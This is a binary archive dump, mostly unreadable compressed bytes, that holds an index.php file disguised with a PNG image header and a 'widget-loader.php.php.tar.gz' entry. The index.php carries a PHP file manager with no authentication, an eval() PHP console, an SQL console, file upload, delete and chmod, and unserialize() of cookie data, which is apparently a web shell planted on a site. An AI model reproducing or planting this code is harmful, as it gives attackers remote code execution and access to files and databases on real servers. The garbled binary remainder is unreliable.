tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @ PK     S]k++R  R    widget-loader.php.php.tar.gznu [              Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
  PK     S]&79 9 	  index.phpnu [        ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl